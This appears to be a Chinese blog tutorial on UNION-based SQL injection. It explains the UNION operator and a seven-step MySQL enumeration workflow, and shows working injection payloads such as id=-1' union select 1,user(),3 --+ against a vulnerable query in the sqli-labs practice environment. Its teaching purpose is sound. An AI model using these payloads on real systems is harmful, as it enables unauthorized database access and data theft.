MENU

SQL 注入 union 联合查询注入

April 29, 2019 • Read: 2430 • SQL,Web阅读设置

union 联合查询注入是一种常用的 SQL 注入方式。

- 0x00 场景

使用 union 联合查询注入查询出结果。

  1. 必须保证有数据的显示位。
  2. 并且 union 后连接的查询的字段数一致,列的数据类型转换没有问题。

- 0x01 介绍

  • SQL UNION 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

  • SQL UNION 语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

  • SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

  • MYSQL union 注入流程
Tips:善用 order by 子句 确定列数,通过 order by n 猜出的列数超过数据库表中的列数时,会报错并且不能返回数据。
  1. order by 确认列数。
  2. 观察页面回显,选择合适的字段位置进行下一步注入。
  3. 查基本信息(database()数据库名、version()数据库版本、user()用户名)
  4. 查库
  5. 查表
  6. 查字段
  7. 查数据

七个步骤层层深入到数据信息。

- 0x02 操作

Tips:要想避免正差数据干扰使 union 后你所执行的语句回显,需要使 union 前的查询语句查询为空或者报错从而执行 union 后的查询子句。

例如:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
原执行查询的语句插入的参数为 id ,这时候把原来插入的参数改为不存在的参数,比如 -1 ,那么 union 后的查询就能正常回显了。
URL:
http://localhost/sqli-labs/Less-1/?id=1' union select 1,user(),3 --+
$sql="SELECT * FROM users WHERE id='1' union select 1,user(),3 --+' LIMIT 0,1";

1

URL: 
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+
$sql="SELECT * FROM users WHERE id='-1' union select 1,user(),3 --+' LIMIT 0,1";
Tips: ' 号使 union 前闭合成单独的子句从而形成完整的查询。
最后用 --+ 注释掉后面的 LIMIT。

2
开心呢

原文作者:Keefe

原文链接:SQL 注入 union 联合查询注入

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

Last Modified: May 5, 2019